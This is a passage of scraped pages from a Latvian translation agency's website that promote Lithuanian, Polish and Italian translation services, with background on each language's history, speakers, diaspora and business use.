living Indo-European language. Standard Lithuanian was not influenced by Finno-Ugric languages as it was with Curonian, Semigallian, Selonian and Latvian, yet the influence of the Finno-Ugric is noticeable in the north of Lithuania, where the lands inhabited by Curonians, Semigallians and Selonians used to be. The mixture of these languages has had the greatest impact on word stress in the northern Lithuanian sub-dialects. Lithuanian is related to Latvian. Both languages are said to have developed together until the thirteenth century when they divided into separate tongues. The origins of these languages may be traced back to the third century B. C. when the Baltic coast was inhabited by ancient Balts. Within the Lithuanian language, two primary dialects are distinguished: Aukštaitian and Samogitian (Highland and Lowland Lithuanian). Both dialects contain three sub-dialects, which are further categorised into 14 sub-dialect variations. The oldest written Lithuanian artefact, a liturgical text, dates from 1525, and the first printed book in Lithuanian was produced for religious reasons in 1547 Königsberg – the translated catechism of Martynas Mažvydas, which was the first book in Lithuanian. The book is written in the Southern Samogitian sub-dialect. However, there are traces of the Western Aukštaitian sub-dialect as well. Approximately 20% of the words in this book were loanwords, mainly Slavicisms. From the 16th century until the end of the 18th century there were two variations of the writing system in the Grand Duchy of Lithuania: eastern writing, which was based on the Eastern Aukštaitian sub-dialect around Vilnius, as well as the central variant, which was created in Central Lithuania near the city of Kėdainiai, based on the local variation of the Western Aukštaitian sub-dialect. Jonas Jablonskis made a significant contribution to the development of the standard Lithuanian language, which was based on the Aukštaitian dialect. Standard Lithuanian developed amid harsh conditions for the nation, where the policy of Russification pursued by the Russian Empire prevented the publication of literature in Lithuanian in the region of what is currently Lithuania for half a century after 1864. Nevertheless, books were covertly smuggled in. From 1863 to 1904, when the Russian Empire prevented the use of Latin letters in its territory (Lithuania belonged to the Russian Empire at that time), many people risked their lives to bring Lithuanian books from Prussia. Nowadays, these book smugglers are national heroes, and there is a monument to their selfless patriotism in Lithuania, believed to be the only one of its kind. Most loanwords in Lithuanian come from Slavic (Old Russian, Belarussian, Polish and Russian) and Germanic languages. This is explained by the historical influence of these languages, as well as the close ties between the Grand Duchy of Lithuania and Prussia. In addition to these borrowings, Lithuanian also has a small number of borrowings from Finno-Ugric and other Baltic languages. In the 20th century, most loanwords came from the Russian language. After the restoration of independence, the number of borrowings from English (anglicisms) has increased. Many of the popular personal names are connected with nature. It comes from ancient times, when Lithuanians, like Latvians, lived closely with nature and used to give their children the names of trees, natural phenomena or flowers. Some words, for example, Rūta (flower, medicinal plant), Eglė (spruce), Aušra (morning) and Gintaras (amber), are common even today. One of the most interesting facts about the Lithuanian language and Lithuanians is the possibility to determine whether a woman is married by her last name. If a Lithuanian woman chooses to use her husband's surname when she gets married, the ending -ienė is added to her surname. For example, if a woman with the surname Kazlauska marries, her surname becomes Kazlauskienė. Generally speaking, if a woman's last name ends in -ytė or -aitė, she is not married. However, this tradition is gradually fading, and women in Lithuania often choose to write their names with the ending -ė (in this case Kazlauskė instead of Kazlauskaite or Kazlauskiene) so that people cannot discern a woman's marital status just by reading her surname. THE LITHUANIAN ALPHABET Today’s Lithuanian writing system is mostly morphological. It was established from the end of the 19th century to the beginning of the 20th century. Even from the earliest writings (dating from the 16th century), Lithuanian uses the Latin alphabet. It has been revised and today consists of 32 letters: 12 vowels (a, ą, e, ę, ė, i, į, y, o, u, ų, ū) and 20 consonants (b, c, č, d, f, g, h, j, k, l, m, n, p, r, s, š, t, v, z, ž). To label phonemes /x/, /ʣ/ and /ʤ/, letter combinations “ch”, “dz” and “dž” can be used as well. In phonology, 14 vowel and 45 consonant phonemes are distinguished. Vowel phonemes on their own can function as syllables, while consonant phonemes cannot. Contrary to Latvian, all Lithuanian consonants, except j which is always soft, can be both hard and soft, depending on the position. HOW DIFFICULT IS THE LITHUANIAN LANGUAGE? Lithuanian is like brain exercise. The language is old and resembles classical Indian Sanskrit, and to some extent Latin and Greek as well. The oldest living Indo-European language is studied by researchers to this day. The complexity of Lithuanian largely is connected to its status as the oldest Indo-European language. Lithuanian is believed to be one of the most difficult languages in the world. According to the US Foreign Service Institute, Lithuanian is classified as a very difficult language, nevertheless, it is easier to learn than Arabic, Korean or Chinese. Certainly, it is mostly connected with grammar rules that have no analogues to any other language in the world, along with the sounds of speech. Words have a wide variety of stresses that can completely change the meaning, depending on their use. Lithuanians use a lot of diminutives and have no swearwords. If Lithuanians feel a need to swear, they can call someone a snake or a toad. Lithuanians also have the letter “ė”, which does not exist in any other language. This letter is considered a symbol of femininity, as it is used at the end of female names. Learning to read Lithuanian would not be difficult, because the letters are pronounced as they are written. It is more difficult to distinguish the genders of nouns. Lithuanians themselves joke that the fastest way to learn Lithuanian is to fall in love with a Lithuanian. LITHUANIAN LANGUAGE INTERPRETER AND TRANSLATOR Our team of interpreters and translators work with the translations of standard documents as well as notarially certified translations. Or course, simultaneous translating can be performed as well. Skrivanek provides proofreading and stylistic improvement of texts in Lithuanian, and if necessary, redaction and terminology checking. The following translations from/to Lithuanian are most often performed –e-commerce content and homepages, product labels, advertising slogans, SEO texts, Google keywords, localisation and adaptation of content, as well as translations of marketing, legal content and business-related documents. Due to the close economic cooperation between Latvia and Lithuania, we also perform translations in the following areas – equipment and technology, finance, medicine, communications, public relations, transport, science, agriculture, textile industry, tourism, European Union documents, industrial, natural sciences, retail and technology translations. For natural persons, we process identity documents, marriage certificates, birth certificates, educational documents, passports, medical documents and other translations. WHERE AND HOW MANY PEOPLE SPEAK LITHUANIAN? Lithuanian is the official language in Lithuania, spoken by more than 85% of the country's population as a native language and 90% of the country's population speak Lithuanian fluently. Lithuanian is also used outside of its borders. A significant number of Lithuanian speakers live in Poland, where Lithuanian is included in the local education programme. Since the 19th century, the rise of emigration has caused residents of foreign countries to identify with the language as well. As a result, communes of Lithuanian speakers have formed in many foreign countries, including the USA, the UK and Norway. The total number of language users in the world could be about 4 million. For approximately 2. 4 million of the population, Lithuanian is a native language. In addition to Lithuanian diasporas in the neighbouring countries, from the 19th to the 21st century, Lithuanians have also emigrated to other continents. The USA holds the largest part of the Lithuanian diaspora; it is estimated that approximately 600,000 Lithuanians live in the USA. Lithuanian emigration to the United States began in the 19th century and was suspended during the Soviet occupation when travel and emigration were severely restricted. Chicago is called the capital of Lithuanians in the USA. Since the collapse of the Soviet Union in 1991, approximately 200,000 Lithuanians have emigrated to the United States. Approximately 60,000 Lithuanians live in Canada. Lithuanian communities in Mexico and South America (Argentina, Brazil, Columbia, Uruguay and Venezuela) formed before the Second World War, starting at the end of the 19th century and the beginning of the 20th century. At present, there is no more flow of emigrants to these destinations, as the economic conditions are not better than in Lithuania. Currently, there could be approximately 230,000 Lithuanians in these countries. At the end of the 19th century and in the 20th century, Lithuanian communities formed in South Africa, consisting mainly of Jews. Lithuanian communities in the regions of the former Soviet Union formed during the Soviet occupation; the number of Lithuanians in Siberia and Central Asia rapidly increased when a large number of Lithuanians were forcibly deported to these territories. After that, however, most of them came back to Lithuania. Later, many Lithuanians were transferred to work in other territories of the Soviet Union; some of them did not return to Lithuania after the restoration of independence. About 86,000 Lithuanians currently live in Russia. Lithuanian communities in North-western Europe (the UK, Ireland, Sweden, Norway and Iceland) are very new and began to form after the restoration of Lithuania's independence in 1990; this emigration increased after Lithuania became part of the European Union in 2004. The highest Lithuanian concentration per capita in Western Europe may be in the Republic of Ireland; approximately 45,000 Lithuanians (about half of whom are registered) make up more than 1% of Ireland’s total population. About 47,000 Lithuanians live in Norway and it has quickly become the second biggest ethnic minority in the country, accounting for 0. 85% of the total Norwegian population and 4. 81% of all foreign residents in Norway. There are about 3,500 Lithuanians in Iceland, accounting for 1% of the total population. The Lithuanian diaspora in Germany began to form after the Second World War. In 1950, they founded a Lithuanian high school in Diepholz, which was a private school for the children of Lithuanian refugees. For decades, the Lithuanian high school was the only full-time high school outside the Eastern Bloc that offered courses in Lithuanian history, language and culture. In 1954, the Lithuanian community bought the Rennhof Manor with its twelve-acre park in the town of Lampertheim-Heitenfeld. The school was relocated there and still exists – https://www. gimnazija. de/en. The school is currently called the 16th of February Gymnasium. Lithuanian communities also exist in Australia. However, due to the great distance from Europe, emigration there was negligible LITHUANIAN LANGUAGE IN BUSINESS Lithuanian as a business language primarily is used only in the territory of Lithuania. It is useful to know some polite, simple colloquial speech phrases in Lithuanian to build business relations with Lithuanian entrepreneurs. They will certainly appreciate it because language is the pride of every Lithuanian. To establish business relations, Lithuanian entrepreneurs mainly use Russian, Polish and English. Main partners are the member states of the EU, to whom car parts and cereal products are exported. Lithuanians are multilingual and often speak Russian, English, French and German as second languages. Lithuania is ranked among the top five EU countries with the largest number of people who speak at least two foreign languages. 90% of the population can communicate in at least one foreign language and approximately 50% of Lithuanians can speak two foreign languages. According to researchers, Lithuanian companies cooperate more often with foreigners they do not know than with Lithuanians they do not know. Main trade partners are Russia, Germany, Latvia, Estonia, Poland, the Netherlands and Belarus. Minerals, chemicals, textiles and clothing, machines and equipment, food products, wood and wood products and plastics account for more than 60% of exports. Imported goods are mainly minerals, transport equipment, chemicals, textiles and clothing. BILATERAL RELATIONS BETWEEN LITHUANIA AND LATVIA At present, about 27,000 Lithuanians live in Latvia, which makes up the fifth-largest minority group in Latvia. Regardless of nationality, approximately five thousand citizens of the Republic of Lithuania permanently live in Latvia. Most Lithuanians live in Riga and near the Lithuanian border – in Liepāja and Liepāja region, Bauska Municipality, Saldus Municipality, Jelgava and Jelgava Municipality, Dobele Municipality, Daugavpils and Daugavpils Municipality. The first Lithuanians settled in the territory of modern Latvia in the 7 ─ 12 centuries. With the manufacturing development, from the beginning of the 19th century to the end of the 20th century, the immigration of Lithuanians to Latvia increased significantly. Lithuanians went to Riga, Liepāja, Bauska, Jelgava and Ventspils in search of work and education. Many Lithuanians worked at the Rīgas Vagonbūves Rūpnīca Fēnikss, the rubber manufacturer Provodnik, sawmills, laundry spinning mills, breweries, furniture workshops, tram depots, ports and other places. After the declaration of the sovereign states of Lithuania and Latvia in 1918, some Lithuanians returned to Lithuania. To be closer to Lithuania, in the 1960s and 1970s, many former political prisoners and exiled Lithuanians who were not allowed by the Lithuanian Soviet authorities to return to their homeland, settled in Latvia (Daugavpils, Jelgava, Liepāja, Riga, their surroundings and elsewhere). From 1988 to 1995 Latvian Lithuanians actively participated in the activities of the Popular Front of Latvia. Latvia and Lithuania are connected by close cooperation, common interests in the Baltic Sea region and strategic partnership with the European Union and NATO. At many levels, there is frequent and active political dialogue between the nations. Effective practical collaboration has been developed between national parliaments, sectoral ministries, municipalities, and non-governmental organisations. The shared historical background of Latvia and Lithuania as well as the close personal ties between the citizens foster non-governmental cooperation, enable the execution of cross-border projects, and encourage cooperation in a variety of areas such as culture, education, tourism, and other fields. Lithuania is one of Latvia's most important trading partners, and the two nations have steady economic connections. Education cooperation between Latvia and Lithuania is based on the tripartite cooperation agreements between the Baltic states as well as within the framework of educational programmes and projects of the Baltic-Nordic countries, Baltic Sea region countries, the Council of Europe, and the EU. There is an active exchange of students, doctoral students, lecturers, and researchers based on the inter-ministerial agreement on the exchange of students, researchers, and teaching personnel. Cooperation agreements have been signed by Latvian higher education institutions with Vilnius University, Klaipeda University, Vytautas Magnus University, Mikolas Romeris University, Kaunas Medical University, Vilnius University of Law, Lithuanian Academy of Music and Theatre, Vilnius Academy of Arts, Lithuanian University of Educational Sciences, etc. Riga Lithuanian High School has been operating in Riga since 1991 – https://www. rlvs. lv. The Latvian National Opera actively collaborates with the Lithuanian National Opera, exchanging artists and conductors. The art museums, national libraries, and archives of the two nations work closely together. The Latvian National Art Museum maintains a successful collaboration with the Lithuanian National Art Museum in Vilnius. Lithuanian is offered as an elective course and as part of undergraduate studies in various Latvian universities. Additional information about studies at Riga Stradins University can be read here, and at the University of Latvia here. The Embassy of Lithuania in Latvia, which is based in Riga, assists Lithuanian citizens in Latvia – https://lv. mfa. lt. OUR MOST POPULAR LITHUANIAN LANGUAGE SOLUTIONS: general and specialised translations in Lithuanian; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting in Lithuanian language; Lithuanian language courses; linguistic auditing. LANGUAGE COMBINATIONS: Latvian to Lithuanian; Lithuanian to Latvian; Estonian to Lithuanian; Lithuanian to Estonian; Lithuanian to Polish; Polish to Lithuanian; Russian to Lithuanian; Lithuanian to Russian; Czech to Lithuanian; Lithuanian to Czech; Ukrainian to Lithuanian; Lithuanian to Ukrainian; English to Lithuanian; Lithuanian to English; Lithuanian to Spanish; Spanish to Lithuanian; German to Lithuanian; Lithuanian to German; Italian to Lithuanian; Lithuanian to Italian; French to Lithuanian; Lithuanian to French; Danish to Lithuanian; Lithuanian to Danish; Norwegian to Lithuanian; Lithuanian to Norwegian; Swedish to Lithuanian; Lithuanian to Swedish; Finnish to Lithuanian; Lithuanian to Finnish and others. OUR MOST POPULAR LITHUANIAN LANGUAGE SOLUTIONS: general and specialised translations in Lithuanian; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting in Lithuanian language; Lithuanian language courses; linguistic auditing. LANGUAGE COMBINATIONS: Latvian to Lithuanian; Lithuanian to Latvian; Estonian to Lithuanian; Lithuanian to Estonian; Lithuanian to Polish; Polish to Lithuanian; Russian to Lithuanian; Lithuanian to Russian; Czech to Lithuanian; Lithuanian to Czech; Ukrainian to Lithuanian; Lithuanian to Ukrainian; English to Lithuanian; Lithuanian to English; Lithuanian to Spanish; Spanish to Lithuanian; German to Lithuanian; Lithuanian to German; Italian to Lithuanian; Lithuanian to Italian; French to Lithuanian; Lithuanian to French; Danish to Lithuanian; Lithuanian to Danish; Norwegian to Lithuanian; Lithuanian to Norwegian; Swedish to Lithuanian; Lithuanian to Swedish; Finnish to Lithuanian; Lithuanian to Finnish and others. --- > General and specialised translations, interpreting, localisation and other Polish language solutions. Get a free quote within 15 min! - Published: 2017-09-29 - Modified: 2025-07-02 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-polu-valoda/ - Translation Priorities: Optional POLISH TRANSLATIONS HOW MUCH DO TRANSLATIONS TO POLISH COST? The cost of translation to Polish is calculated individually for every order. The price varies depending on various parameters of your order, for example, the price of consecutive interpretation and simultaneous interpretation depends on the time length of the service, the place of the event, travel expenses, per diem; regarding consecutive translation, additional expenses are counted for technical support, which depends on the number of participants in the event, etc. Written translation prices vary depending on the content and readability of material, translation deadlines, repetitions in the text, image and graphic complexity and formatting, correction, and other additional services requested by the client. IS THE PRICE LIST AVAILABLE? Of course. The price list of written translation, as well as interpretation (consecutive and simultaneous), localisation and adaptation to and from Polish is an integral part in our cooperation agreement with the client. Before placing the translation project order, the translation project managers at Skrivanek Baltic always provide information on the price of the translation. The price offer is prepared within 30 minutes. When calculating the price for written orders, the number of words and repetitions in the original text, graphic element complexity and other parameters are taken into account. For you to receive a price offer, send us your material to our e-mail. Contact Skrivanek Baltic today for a free quote on Polish translation or any other combination of translation and related business services. Our Polish language services include: Polish Document Translation Polish Simultaneous Interpretation Polish Linguistic Validation Polish Consecutive Interpretation Polish Transcription Polish Typesetting and Graphics Polish Voiceovers and Subtitling Polish Staffing Solutions Polish Multicultural Marketing Polish Document Management Polish Deposition Services Polish Virtual Data Room Services Polish E-learning Support Looking for a language solution in Polish? We will prepare a tailored solution and consult you on your subject of interest. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Quality and confidentiality guaranteed by ISO certificates Our project managers speak Latvian, Russian, English, German and Polish99% of customers receive a price quote in less than 15 minutesMore than 3000 language professionals and native speakersMore than 98% of our clients would recommend us to their friends and partnersMore than 60 million words are translated in our office every year INTERESTING FACTS ABOUT THE POLISH LANGUAGE The dialects of the Polish language are divided into two main groups. The first group is the East Lechitic dialect group, which is made up of 4 Polish dialects – Greater Polish, Lesser Polish, Masurian, and Silesian. The second group – the Middle Lechitic (coastal) dialect group, includes Kashubian, which is considered a separate language. In contemporary times, the Silesian dialect is not only alive, but also used, and not only among villagers. The Kashubian dialect has more of a regional language status. The development of the Polish language according to status and spread: the Old Polish language (16th century until the creation of the common Polish language); from the 17th century to the middle of 19th century (together with the spread and standardisation of literary Polish); the New Polish language (creation of the Polish language culture and spread of language in all social classes); contemporary language (after the Second World War and recovery of the state language status). Polish as a separate language started forming in the 10th century. Polish has approximately 140,000 words. As with all Slavic languages, Polish is rich with diminutives, which helps in making various expressions. Chicago is considered to be the home of the largest Pole minority in the USA. The Polish language has a record number of words, for example – szczęście (luck), źdźbło (grass stem), pszczoła (bee) and so on – which is a real challenge for students of the language. If we were to speak of Polish as one of the most complex languages in the world, even the fashion world attests with T-shirts with a phrase ‘I speak POLISH. What’s your superpower? ’ The Polish language has a lot of letter pairs that stand for a single phoneme (Polish: dwuznaki): cz, ch, sz, rz, dz, dż, and dź. That makes words especially hard to pronounce, and that is why Polish is considered one of the hardest languages to learn. In truth, Poles pronounce Łódź, a city in Poland, as Vudža and not Lodza, how it is usually pronounced in Latvian. Frederick Chopin, one of the most famous Polish and worldwide musicians of all-time, as well as a piano music composer and performer is Poland’s pride. It is said that his heart is buried in the Holy Cross Church in Warsaw. There are some benches built in Warsaw that play fragments from Chopin’s compositions. A famous astronomer Nicolaus Copernicus was born in the 16th century, in Toruń. If you’re gifting flowers to anyone in Poland, make sure there is an odd number of them and avoid flowers that have cultural significance, especially yellow chrysanthemums, which signify funerals, and red and white flowers, like dianthus and lilies. Poland is the biggest amber export country in the world – it is calculated that Poland’s proportional weight in the world market could reach up to 70%. The heavier animals of Europe live in Poland. The wisent is the heaviest terrestrial animal in Europe, which weighs more than 600 kg on average. They can be found roaming around in 150,000 hectares of the big Białowieża Forest in Poland – the last primary forest in Europe, which spreads over the whole continent. Marie Curie, a woman who discovered polonium (the name given in honour to Marie Curie’s birthplace – Poland) and radium, wasn’t French, but Polish. Before she got married to a Frenchman Pierre Curie, her name was Marie Salomea Skłodowska. She was the first woman to receive the Nobel Prize twice, in two different branches of science. In Poland it is still popular to kiss ladies’ hands. Polish men up to this day like to abide by the ‘code of chivalry’. THE POLISH ALPHABET The Polish alphabet is based on the Latin alphabet. There are 32 letters in Contemporary Polish: Aa, Ąą, Bb, Cc, Ćć, Dd, Ee, Ęę, Ff, Gg, Hh, Ii, Jj, Kk, Ll, Łł, Mm, Nn, Ńń, Oo, Óó, Pp, Rr, Ss, Śś, Tt, Uu, Ww, Yy, Zz, Źź, Żż and Qq, Vv and Xx in international words. Literary Polish language has eight vowels – a, o, u (orthographically ó), e, i, y, ę (nasal e), ą (nasal o) without length differentiations – and consonants: b, c, cz, ć, d, dz, dź, dż, f, g, h (orthographically ch), j, k, l, ł, m, n, ń, p, r, s, sz, ś, t, w, z, ż (orthographically rz), ź. HOW COMPLEX IS THE POLISH LANGUAGE? The Polish language is one of the most difficult languages in the world, placing only fifth after Mandarin, Arabic, Telugu, and Japanese. Even though written Polish uses a derivation of the Latin alphabet, the alphabet has additional letters to mark Polish phonetic writing, grammatical features, consonants, and diphthong chains in words, which is not characteristic in other languages. To acquire a simple spoken level of Polish, you will need 44 weeks or 1,100 learning hours at minimum. Now, the first real challenge of learning Polish will be pronunciation, especially of those words that have diphthong chains, for example: bezwzględny (ruthless). In Polish, one phoneme is usually marked by a pair of two letters, but pairs of three letters are used too. Various grammatical features like three gender categories, 7 cases and conjugations make learning Polish a little bit more difficult. WHERE AND HOW MANY PEOPLE SPEAK POLISH? Polish is the native language of about 50 million speakers worldwide – 38 million people in Poland, 12 million in European countries, and 8 million people elsewhere in the world – the USA, Canada, Australia. Polish is mainly used in Poland, and it is the native language of Poles. Additionally, Polish is the official language of Poland, and it is also the language of the diaspora in Central and East Europe, European countries as well as the USA, Australia, and South Africa. Roughly 20 million people of Polish descent live outside of Poland, making the Polish diaspora one of the biggest diasporas in the world. The biggest Polish minorities are in Belarus, Ukraine, and Lithuania. Comparably, a lot of Poles live and use Polish in Latvia, the United Kingdom, Romania, the Czechia, Russia, Brazil, Argentina, the United States of America, Canada, Germany, France, Australia, Ireland, and Israel too. INTERPRETERS AND TRANSLATORS OF POLISH The Skrivanek Baltic team of interpreters and translators of Polish work with standard document translations, as well as more complex technical translations and notarially certified translations. The Skrivanek translation office also ensures editing and stylistic correction of Polish texts and SEO content creation in accordance with Poland’s market and the Polish mentality. Our language specialists will be happy to tell you about cultural differences, business etiquette, history and traditions. For our business clients we usually do website and e-commerce content translations, advertisement slogan adaptation, cooperation agreement, legislative act, court decision and business documentation translations to and from Polish. We also offer consecutive interpretation of business and other types of conversation, conferences, and other events on Zoom and other online platforms. For legal persons we offer identity document, marriage certificate, child birth certificate, education document, passport, medical document, and other type of document translation. POLISH LANGUAGE IN BUSINESS Communication, arguably, is the most important aspect in business; yet, when doing business in our own country, we usually consider it to be common sense, because we deal with people from our own culture. To start a business in a foreign country we must bear in mind not only the appropriate language and culture of the country, but also communication and etiquette peculiarities. Poland is strategically placed in the centre of Europe, which makes it an ideal place for businesses that want to export their production to the East as well as the West to invest in. Poland is one of the most economically stable and fastest growing countries in the world. Poland places 15th in the world as a country that is auspicious for starting a business. The economic situation in the country is stable and continues to be so. Currently, the demand and high interest for new businesses is in the restaurant business, the consultation service sphere, especially in business consultation, internet shops, event organisation, IT services, and social help spheres. What are Polish business conversations like? Polish businesspeople usually are formal and taciturn. That is why the first meeting will most likely be reserved. They usually say what they think and talk about cooperation opportunities and the future right away. At the first meeting they will not make jokes; jokes are for more social events. Poles usually speak in a low voice, but they are determined and decisive. They possess high qualifications, are well educated and very competent businesspeople. The Polish language is the official state language, but since Poland borders many other countries, most Poles are multilingual – Russian, German, and English are the most popular foreign languages used by Polish businesses. Many Poles speak good English, but it is worth learning a few phrases and words in Polish to make a good impression of yourself. That will surely guarantee a signed cooperation agreement and the start of business in Poland. It is important to remember that Poles find family very important and are reluctant to talk about work-related things outside of the usual work time. The workday in Poland usually starts at 8 a. m. and ends at 4 p. m. Poland is a very bureaucratic country, where a person’s status still holds significance. Since most Polish language experts live in the country, Polish is not widely used for business purposes outside of it. POLES IN LATVIA The Polish minority in Latvia consists of about 45,584 Poles and (according to Latvia’s data from 2017) makes up 2. 3% of Latvia’s population. A number of Poles live in the cities of Daugavpils, Riga, and Jelgava, as well as Daugavpils and Krāslava Municipality. Since the 17th century, ethnic Poles have been living in the current territory of Latvia. In Krišjānis Barons’ ‘Latvju dainās’ (‘Songs of Latvians’) there are 173 folksong variants with the lexeme ‘poļi’ (Poles), and in the Institute of Literature, Folklore and Art of the University of Latvia’s Archive of Latvian Folklore one can find 205 folksong variants with Poles as the subject, and, additionally, most of the songs came from Latgalia (43%) and Courland (26%). Some of Latvian’s folksongs about Poles were created as memories of the Polish-Russian soldiers or as satirical folk songs. Currently, Latvians and Poles have developed firm contacts in all spheres on all levels. The most active cooperation is in areas of protection, home affairs, regional development, local government, as well as education and culture. Establishment of market and economic contact is one of the priorities, as it has high potential. Latvia is interested in continuing to develop these contacts and strengthening them bilaterally in the Baltic Sea region, the European Union, NATO and international organisation, including the UN, frameworks. Latvia and Poland’s cooperation in education and culture is wide and multifaceted. The Polish diaspora in Latvia has a significant role in strengthening cooperation between both countries. About 46 thousand Poles live in Latvia, which makes 2. 3% of the country’s population. The Latvian Union of Poles and the Polish Culture Centre in Daugavpils are actively working and unite community representatives of Poles living in Latvia and fans of Polish culture. Latvia and Poland’s culture and cooperation programme foresees bilateral grants for studies, research and participation in summer schools, cooperation on questions regarding the Pole national minority, as well as experts of the Polish language and literature, and Latvian language, culture, and literature exchange. Various education institutes in Latvia that ensure minority education programmes help learn about Polish language and culture in the universal education sphere: Krāslava Polish Elementary School, named after the Count Plāteris family; Riga Ita Kozakēviča Polish Secondary School; J. Pilsudksi Daugavpils Rural Municipality Polish Gymnasium; Rēzekne Rural Municipality Polish Gymnasium. Poland gives regular financial and technical support to the running of Polish schools, provides them with guest teachers from Poland, as well as arrange professional exchange opportunities to teachers from Latvia. Cooperation between Latvia and Poland in the higher education sphere is active. Several universities in Latvia, like the University of Latvia, Latvia University of Life Sciences and Technologies, and the Art Academy of Latvia have signed cooperation agreements and student/teacher exchange agreements with universities in Poland. Latvia and Poland’s cooperation is active in the sphere of culture too. Artists regularly participate in both countries’ organised festivals and concerts; Latvia’s music collectives collaborate with Polish conductors. The International Writers and Translators’ Houses have established strong cooperation with Poland – they are regularly visited by Polish writers, poets, and translators. The National Library of Warsaw, the Polish Sejm Library, and the Pomeranian Library in Szczecin are all long-term cooperation partners with the National Library of Latvia. The Latvian Centre for Contemporary Art, the Ethnographic Open-Air Museum of Latvia, the Association of Memorial Museums, and the National History Museum of Latvia realise regular projects with Poland’s representatives. Latvia also gets noticeable support from Poland for culture inheritance upkeep purposes. Poland has offered support for the reconstruction of Pasiene Abbey, which, together with Pasiene St. Dominic’s Roman Catholic Church, is one of the most beautiful and prominent sacred Polish or Eastern European baroque style buildings in Latgalia and the whole of Latvia. The church is on the list of Europe’s Cultural Heritage Objects since 1999. The restoration of Krāslava St. Louis Roman Catholic Church’s mural took several years, and the practical work was done by restoration experts from Poland. The Polish government had funded the restauration of the Krāslava Roman Catholic church and restored the side altar. The Polish government also funded the restoration of the Piedruja Roman Catholic church’s altar paintings. The Embassy of Poland in Latvia was opened on 12 November 1991. Eighteen years ago, the current ambassador of Poland in Latvia, Monika Michaliszyn worked in the Latvian Academy of Culture, while at the same time ran the study programme of Latvia-Poland’s intercultural relations; when she came back to her homeland, she gave lectures about the Latvian language and culture at the University of Warsaw. OUR MOST POPULAR POLISH LANGUAGE SOLUTIONS: general and specialised translations in Polish; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting in Polish language; Polish language courses; linguistic audit. LANGUAGE COMBINATIONS: Latvian to Polish; Polish to Latvian; Estonian to Polish; Polish to Estonian; Lithuanian to Polish; Polish to Lithuanian; Russian to Polish; Polish to Russian; Czech to Polish; Polish to Czech; Ukrainian to Polish; Polish to Ukrainian; English to Polish; Polish to English; Polish to Spanish; Spanish to Polish; German to Polish; Polish to German; Italian to Polish; Polish to Italian; French to Polish; Polish to French; Danish to Polish; Polish to Danish; Norwegian to Polish; Polish to Norwegian; Swedish to Polish; Polish to Swedish; Finnish to Polish; Polish to Finnish and others. OUR MOST POPULAR POLISH LANGUAGE SOLUTIONS: general and specialised translations in Polish; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting in Polish language; Polish language courses; linguistic audit. LANGUAGE COMBINATIONS: Latvian to Polish; Polish to Latvian; Estonian to Polish; Polish to Estonian; Lithuanian to Polish; Polish to Lithuanian; Russian to Polish; Polish to Russian; Czech to Polish; Polish to Czech; Ukrainian to Polish; Polish to Ukrainian; English to Polish; Polish to English; Polish to Spanish; Spanish to Polish; German to Polish; Polish to German; Italian to Polish; Polish to Italian; French to Polish; Polish to French; Danish to Polish; Polish to Danish; Norwegian to Polish; Polish to Norwegian; Swedish to Polish; Polish to Swedish; Finnish to Polish; Polish to Finnish and others. --- > General and specialised, notary-specialised translations in Italian language. Interpreting services and Italian language courses. - Published: 2017-09-29 - Modified: 2025-07-02 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-italu-valoda/ - Translation Priorities: Optional TRANSLATIONS IN ITALIAN HOW MUCH DO ITALIAN TRANSLATIONS COST? Translation cost from and to Italian is calculated for every order individually. The price calculation consists of multiple parameters – the price of sequential oral and simultaneous translations is based on the time of providing the service, location, travel costs, and daily allowance; for simultaneous translation, technical equipment, the number of translators, and other aspects are considered. The price of written translations consists of the volume of the translated material, the due date of the translation, the complexity of the text, repetitions in the text, graphical processing and formatting, correction, editing, as well as additional services chosen by the client. IS THE PRICE LIST AVAILABLE? Yes, the price list of written and oral translations (simultaneous and sequential) from and to Italian is an integral part of our contracts with clients. The Skrivanek Baltic translation agency project managers always prepare detailed information about the cost of translation before starting a translation project. The price offer is prepared in approximately 30 minutes. The price of written translations is based on word count in the text, repetitions in the text, complexity of graphic elements, and other parameters. In order for you to receive a price offer, feel free to send us your material to be translated to our e-mail. Contact Skrivanek Baltic today for a free quote on Italian translation or any other combination of translation and related business services. Our Italian language services include: Italian Document Translation Italian Simultaneous Interpretation Italian Linguistic Validation Italian Consecutive Interpretation Italian Transcription Italian Typesetting and Graphics Italian Voiceovers and Subtitling Italian Staffing Solutions Italian Multicultural Marketing Italian Document Management Italian Deposition Services Italian Virtual Data Room Services Italian E-learning Support Looking for a language solution in Italian? We will prepare a tailored solution and consult you on your subject of interest. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Quality and confidentiality guaranteed by ISO certificates Our project managers speak Latvian, Russian, English, German and Polish99% of customers receive a price quote in less than 15 minutesMore than 3000 language professionals and native speakersMore than 98% of our clients would recommend us to their friends and partnersMore than 60 million words are translated in our office every year INTERESTING FACTS 